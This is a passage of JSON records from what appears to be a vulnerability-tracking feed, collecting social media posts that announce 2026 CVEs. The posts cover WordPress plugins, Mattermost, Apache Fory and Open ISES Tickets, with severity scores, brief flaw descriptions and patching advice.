"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4885", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mmakf6zijh2a", "content": "CVE-2026-4885 piotnet-addons-for-elementor-pro (CVSS Score 9.8) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-19T23:32:06.917269Z"}, {"uuid": "f628eb61-3fcf-4c98-b54f-0ba570705027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4883", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mmanqicipo2u", "content": "CVE-2026-4883 piotnetforms-pro (CVSS Score 9.8) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-20T00:32:07.078926Z"}, {"uuid": "8a18d033-cfae-4b4f-b8d5-e81bf3a0a544", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4802", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmcoexw5k52m", "content": "CVE-2026-4802 [cockpit] Arbitrary code execution in the logs page via a specially crafted link", "creation_timestamp": "2026-05-20T19:48:54.273053Z"}, {"uuid": "f4c3d2b9-4865-46d1-a0e0-9a2f9b55bd61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmdfp7calj2e", "content": "CVE-2026-48172 - LiteSpeed cPanel Plugin Privilege Escalation\nCVE ID : CVE-2026-48172\n \n Published : May 21, 2026, 12:38 a.m. | 1\u00a0hour, 38\u00a0minutes ago\n \n Description : LiteSpeed User-End cPanel Plugin before 2.4.5 allows privilege escalation (possibly to root), as exploited in...", "creation_timestamp": "2026-05-21T02:46:13.501782Z"}, {"uuid": "09e8b82c-f93e-44d5-97c2-b4c1bc204969", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4811", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmdts4ulmm2e", "content": "CVE-2026-4811 - WPB Floating Menu or Categories \u2013 Sticky Floating Side Menu & Categories with Icons\nCVE ID : CVE-2026-4811\n \n Published : May 21, 2026, 4:16 a.m. | 1\u00a0hour, 30\u00a0minutes ago\n \n Description : The WPB Floating Menu & Categories for WordPress \u2013 Sticky Side Menu w...", "creation_timestamp": "2026-05-21T06:58:24.040695Z"}, {"uuid": "1a1d8fd7-43fd-4a93-965b-ed86bca26527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrz2kwbtkt2g", "content": "Adobe Campaign Classic\u3067\u3001\u8a8d\u8a3c\u4e0d\u5099\u306b\u3088\u308b\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\uff08CVE-2026-48449\uff09\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002CVSS\u30b9\u30b3\u30a2\u306f10.0\u3067\u3059\u3002", "creation_timestamp": "2026-08-01T08:31:31.767089Z"}, {"uuid": "0b15952c-2913-4af5-aeb8-1ec8cb3001bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4811", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mmed3mp54x2s", "content": "CVE-2026-4811 wpb-floating-menu-or-categories (CVSS Score 4.9) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-21T11:32:08.541655Z"}, {"uuid": "2b0c703a-6dd4-4408-850a-608a475b9b6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4858", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmeep2dusz2k", "content": "\ud83d\udfe0 CVE-2026-4858 - High (8)\n\nMattermost versions 11.6.x <= 11.6.0, 11.5.x <= 11.5.3, 11.4.x <= 11.4.4, 10.11.x <= ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-4858/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-21T12:00:55.584789Z"}, {"uuid": "bbd1e54e-8ce9-4e1e-8f2d-15c39eb17849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4885", "type": "seen", "source": "https://t.me/GithubRedTeam/85211", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-4885\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a xShadow-Here\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-21 11:19:26\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPiotnet Addons for Elementor Pro <= 7.1.70 - Unauthenticated Arbitrary File Upload \u2192 RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-21T12:00:07.000000Z"}, {"uuid": "4cf49d92-dbe6-4c90-ac68-65cfa55bfa24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4858", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmeiipwgex2o", "content": "CVE-2026-4858 - Path traversal in integration action URL leading to arbitrary API execution via system admin\u2019s auth token.\nCVE ID : CVE-2026-4858\n \n Published : May 21, 2026, 9:16 a.m. | 3\u00a0hours, 1\u00a0minute ago\n \n Description : Mattermost versions 11.6.x <= 11.6.0, 11.5.x &lt...", "creation_timestamp": "2026-05-21T13:09:09.087377Z"}, {"uuid": "0a2c81d8-eb2a-461a-bde5-39a13bd9d325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48207", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmewkfjyo22j", "content": "CVE-2026-48207: Apache Fory: PyFory ReduceSerializer Incomplete Policy Enforcement", "creation_timestamp": "2026-05-21T17:20:27.138375Z"}, {"uuid": "d5abccab-9cc4-4d95-9a31-ed05ea7a57e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48242", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116613867810424897", "content": "\ud83d\udea8 CRITICAL: CVE-2026-48242 in Open ISES Tickets <3.44.2 \u2014 Hardcoded MySQL creds in public code could enable unauthorized DB access. No patch yet. Rotate creds & review deployments immediately. https://radar.offseq.com/threat/cve-2026-48242-use-of-hard-coded-credentials-in-op-348559d8 #OffSeq #Vulnerability #InfoSec #CVE202648242", "creation_timestamp": "2026-05-21T18:00:11.988289Z"}, {"uuid": "2ead62de-155c-431b-90ad-a932c03e3441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48242", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mmeyrke6ru2p", "content": "Open ISES Tickets <3.44.2 has CRITICAL vuln: hardcoded MySQL credentials in public code. No patch yet. Check & rotate DB creds if affected! https://radar.offseq.com/threat/cve-2026-48242-use-of-hard-coded-credentials-in-op-348559d8 #OffSeq #Vulnerability #DatabaseSecurity", "creation_timestamp": "2026-05-21T18:00:14.266544Z"}, {"uuid": "74993f5a-6f1a-4812-99cb-9f611d0b44ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48241", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf36gur7i2i", "content": "CVE-2026-48241 - Open ISES Tickets\nCVE ID : CVE-2026-48241\n \n Published : May 21, 2026, 5:10 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 contains hardcoded MySQL database credentials in loader.php (a public-facing database utility) that are co...", "creation_timestamp": "2026-05-21T18:43:13.008430Z"}, {"uuid": "39cbb2b7-50ae-4d42-9b66-625dd0fd42c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48242", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf3aam72f2p", "content": "CVE-2026-48242 - Open ISES Tickets\nCVE ID : CVE-2026-48242\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 11\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 contains hardcoded MySQL database connection credentials (host, username, password, database name) in imp...", "creation_timestamp": "2026-05-21T18:44:13.607913Z"}, {"uuid": "122c9239-4002-44c5-9f88-5aaca6e12417", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48248", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf3d3ehj52e", "content": "CVE-2026-48248 - Open ISES Tickets\nCVE ID : CVE-2026-48248\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 disables TLS certificate verification in incs/login.inc.php by setting CURLOPT_SSL_VERIFYPEER to false (an...", "creation_timestamp": "2026-05-21T18:45:48.801033Z"}, {"uuid": "db100561-56da-453d-a50a-f68b552c2cb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48245", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf3g33ygt2k", "content": "CVE-2026-48245 - Open ISES Tickets\nCVE ID : CVE-2026-48245\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 embeds a hardcoded Google Maps API key in tables.php that is committed to the public source repository. Th...", "creation_timestamp": "2026-05-21T18:47:28.989210Z"}, {"uuid": "e8d38978-c85a-460c-9028-02b0ce361425", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48247", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf3jagyq62q", "content": "CVE-2026-48247 - Open ISES Tickets\nCVE ID : CVE-2026-48247\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 disables TLS certificate verification in incs/functions.inc.php by setting CURLOPT_SSL_VERIFYPEER to false...", "creation_timestamp": "2026-05-21T18:49:15.389002Z"}, {"uuid": "d8c2ecbf-3de0-495f-8330-488bcdf96844", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48242", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf3mmc3p22v", "content": "CVE-2026-48242 - Open ISES Tickets\nCVE ID : CVE-2026-48242\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 contains hardcoded MySQL database connection credentials (host, username, password, database name) in impo...", "creation_timestamp": "2026-05-21T18:51:08.505137Z"}, {"uuid": "4d76540e-fd3a-4c09-a83d-8d34d1073b32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48241", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf3q7edop2o", "content": "CVE-2026-48241 - Open ISES Tickets\nCVE ID : CVE-2026-48241\n \n Published : May 21, 2026, 5:10 p.m. | 1\u00a0hour, 11\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 contains hardcoded MySQL database credentials in loader.php (a public-facing database utility) that are c...", "creation_timestamp": "2026-05-21T18:53:09.144184Z"}, {"uuid": "d6c6a078-0db7-4621-a004-0b1ae9d9f4c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48243", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf3u2gu672i", "content": "CVE-2026-48243 - Open ISES Tickets\nCVE ID : CVE-2026-48243\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 embeds a hardcoded WhitePages reverse-phone API key in wp1.php that is committed to the public source repo...", "creation_timestamp": "2026-05-21T18:55:18.283951Z"}, {"uuid": "8fc9953c-c6c7-4761-af0a-5aed57694825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48244", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf3y6tqux2e", "content": "CVE-2026-48244 - Open ISES Tickets\nCVE ID : CVE-2026-48244\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 embeds a hardcoded Google Maps API key in settings.inc.php that is committed to the public source reposito...", "creation_timestamp": "2026-05-21T18:57:36.945583Z"}, {"uuid": "44c04206-b846-4081-b986-0a87fc233604", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48246", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf44ohpdc2v", "content": "CVE-2026-48246 - Open ISES Tickets\nCVE ID : CVE-2026-48246\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 disables TLS certificate verification in ajax/reports.php by setting CURLOPT_SSL_VERIFYPEER to false (and ...", "creation_timestamp": "2026-05-21T19:00:07.754085Z"}, {"uuid": "2d95b7c2-b126-44d6-93d6-11abec6f891c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48241", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmf44uglag2k", "content": "\ud83d\udfe0 CVE-2026-48241 - High (8.1)\n\nOpen ISES Tickets before 3.44.2 contains hardcoded MySQL database credentials in loader.php (a pu...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48241/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-21T19:00:14.861603Z"}, {"uuid": "dd1d21b4-ccc4-4083-a696-dfffe6879a3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48242", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmf454oiwc2w", "content": "\ud83d\udfe0 CVE-2026-48242 - High (8.1)\n\nOpen ISES Tickets before 3.44.2 contains hardcoded MySQL database connection credentials (host, u...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48242/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-21T19:00:23.956890Z"}, {"uuid": "c5205622-793f-496f-807c-3815d9d6322e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48235", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmf45erzqv2g", "content": "\ud83d\udfe0 CVE-2026-48235 - High (8.2)\n\nOpen ISES Tickets before 3.44.2 contains a SQL injection vulnerability in incs/remotes.inc.php wh...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48235/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-21T19:00:31.926666Z"}, {"uuid": "66972189-2683-4716-9c23-a7d3203974ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48246", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf4blasqq2n", "content": "CVE-2026-48246 - Open ISES Tickets\nCVE ID : CVE-2026-48246\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 10\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 disables TLS certificate verification in ajax/reports.php by setting CURLOPT_SSL_VERIFYPEER to false (and...", "creation_timestamp": "2026-05-21T19:02:52.044654Z"}, {"uuid": "d5fa70bc-63b8-433d-b452-1bab1dcf3ee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48207", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf4gxjw3k2o", "content": "CVE-2026-48207 - Apache Fory: PyFory ReduceSerializer Incomplete Policy Enforcement\nCVE ID : CVE-2026-48207\n \n Published : May 21, 2026, 5:16 p.m. | 1\u00a0hour, 2\u00a0minutes ago\n \n Description : Deserialization of untrusted data in Apache Fory PyFory. PyFory's ReduceSerializer could ...", "creation_timestamp": "2026-05-21T19:05:52.589410Z"}, {"uuid": "bead22f2-7233-4393-83bd-6c508e87b1b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48238", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf4mwpxx22k", "content": "CVE-2026-48238 - Open ISES Tickets\nCVE ID : CVE-2026-48238\n \n Published : May 21, 2026, 5:10 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 contains a SQL injection vulnerability in ajax/mobile_main.php where the id GET parameter is concatenated ...", "creation_timestamp": "2026-05-21T19:09:13.079455Z"}, {"uuid": "a3861b96-a9f5-4cc1-a070-d0bdf4801039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48239", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf4tno6jl2h", "content": "CVE-2026-48239 - Open ISES Tickets\nCVE ID : CVE-2026-48239\n \n Published : May 21, 2026, 5:10 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 contains a SQL injection vulnerability in ajax/reports.php where the tick_id POST parameter is concatenate...", "creation_timestamp": "2026-05-21T19:12:58.447719Z"}, {"uuid": "3d225564-112b-471d-8e7c-63988f60f309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48248", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf53dd7lx2e", "content": "CVE-2026-48248 - Open ISES Tickets\nCVE ID : CVE-2026-48248\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 10\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 disables TLS certificate verification in incs/login.inc.php by setting CURLOPT_SSL_VERIFYPEER to false (a...", "creation_timestamp": "2026-05-21T19:17:16.231353Z"}, {"uuid": "323468d7-2c6b-4f30-8565-ccd9d6238533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48213", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf5ebuiop2c", "content": "CVE-2026-48213 - Open ISES Tickets\nCVE ID : CVE-2026-48213\n \n Published : May 21, 2026, 5:16 p.m. | 1\u00a0hour, 2\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 contains a reflected cross-site scripting vulnerability in add.php that allows authenticated attackers to ...", "creation_timestamp": "2026-05-21T19:22:16.805766Z"}, {"uuid": "b4aa7cc8-2ab9-4b52-b628-744d09e1008f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48249", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf5nah2ou2o", "content": "CVE-2026-48249 - Open ISES Tickets\nCVE ID : CVE-2026-48249\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 disables TLS certificate verification in rm/incs/mobile_login.inc.php by setting CURLOPT_SSL_VERIFYPEER to...", "creation_timestamp": "2026-05-21T19:27:17.043341Z"}, {"uuid": "125c8cbe-36da-4afa-807a-00b9b60bfef0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48241", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116614222221100877", "content": "\ud83d\udea8 CRITICAL: Open ISES Tickets <3.44.2 has hardcoded MySQL creds in loader.php (CVE-2026-48241), exposing DBs to attack if reachable. Restrict file & DB access, rotate creds now. No official fix yet. https://radar.offseq.com/threat/cve-2026-48241-use-of-hard-coded-credentials-in-op-e794805b #OffSeq #Vulnerability #MySQL #AppSec", "creation_timestamp": "2026-05-21T19:30:19.741066Z"}, {"uuid": "9214bd0a-2d80-40c1-9d16-3df878756da3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48241", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mmf5spovok26", "content": "CRITICAL: Open ISES Tickets <3.44.2 leaks MySQL creds via loader.php. Restrict file & DB access, rotate passwords, and monitor for updates. No vendor fix yet. https://radar.offseq.com/threat/cve-2026-48241-use-of-hard-coded-credentials-in-op-e794805b #OffSeq #Vulnerability #Security", "creation_timestamp": "2026-05-21T19:30:21.647738Z"}, {"uuid": "a85a7742-1a99-4273-b8f8-133ec79e91b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48240", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf5w6wh5e2c", "content": "CVE-2026-48240 - Open ISES Tickets\nCVE ID : CVE-2026-48240\n \n Published : May 21, 2026, 5:10 p.m. | 1\u00a0hour, 7\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 contains a SQL injection vulnerability in ajax/statistics.php where the tick_id and f_tick_id POST paramet...", "creation_timestamp": "2026-05-21T19:32:17.651743Z"}, {"uuid": "aaac162f-78c0-48c5-a69e-ee66d34db07f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48247", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf675fama2h", "content": "CVE-2026-48247 - Open ISES Tickets\nCVE ID : CVE-2026-48247\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 10\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 disables TLS certificate verification in incs/functions.inc.php by setting CURLOPT_SSL_VERIFYPEER to fals...", "creation_timestamp": "2026-05-21T19:37:17.771320Z"}, {"uuid": "51601410-8bf5-4e2c-8188-810dc1b95ae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48249", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmf6i3tggj2c", "content": "CVE-2026-48249 - Open ISES Tickets\nCVE ID : CVE-2026-48249\n \n Published : May 21, 2026, 5:11 p.m. | 1\u00a0hour, 10\u00a0minutes ago\n \n Description : Open ISES Tickets before 3.44.2 disables TLS certificate verification in rm/incs/mobile_login.inc.php by setting CURLOPT_SSL_VERIFYPEER t...", "creation_timestamp": "2026-05-21T19:42:18.463826Z"}, {"uuid": "c5920a12-d53f-4ac8-b789-8cd885c130d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48207", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmf7jhprdt2n", "content": "\ud83d\udd34 CVE-2026-48207 - Critical (9.8)\n\nDeserialization of untrusted data in Apache Fory PyFory. PyFory's ReduceSerializer could bypass d...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48207/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-21T20:01:11.098097Z"}, {"uuid": "c3cab02f-0dc1-4e4c-8413-ea4145fe075e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116614555970411904", "content": "A lot of offensive activities were identified targeting LiteSpeed User-End cPanel Plugin (CVE-2026-48172) https://vuldb.com/vuln/364981/cti", "creation_timestamp": "2026-05-21T20:55:19.354045Z"}, {"uuid": "c28ad8fc-0eb6-4761-828a-5044405ed670", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48207", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mmfctgmtcc26", "content": "Apache Fory <1.0.0 hit by CRITICAL deserialization bug \u2014 attackers could bypass validation and execute code if strict mode is off. Upgrade to 1.0.0+ now! \ud83d\udea8 https://radar.offseq.com/threat/cve-2026-48207-cwe-502-deserialization-of-untruste-97a80f2c #OffSeq #CVE202648207 #AppSec", "creation_timestamp": "2026-05-21T21:00:13.889401Z"}, {"uuid": "ba7b4708-6638-4699-ab10-d730259bcf45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48207", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116614575641457628", "content": "\ud83d\udea8 CRITICAL: CVE-2026-48207 in Apache Fory <1.0.0 \u2014 Deserialization flaw in PyFory ReduceSerializer bypasses DeserializationPolicy, risking RCE if strict mode is off. Upgrade to 1.0.0+ ASAP! https://radar.offseq.com/threat/cve-2026-48207-cwe-502-deserialization-of-untruste-97a80f2c #OffSeq #CVE202648207 #Vulnerability #ApacheFory", "creation_timestamp": "2026-05-21T21:00:19.017391Z"}, {"uuid": "7bfefb59-5569-48dd-8b50-6f9876c1f6ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4834", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmgcpz2pni2r", "content": "CVE-2026-4834 - WP ERP Pro\nCVE ID : CVE-2026-4834\n \n Published : May 22, 2026, 4:16 a.m. | 1\u00a0hour, 34\u00a0minutes ago\n \n Description : The WP ERP Pro plugin 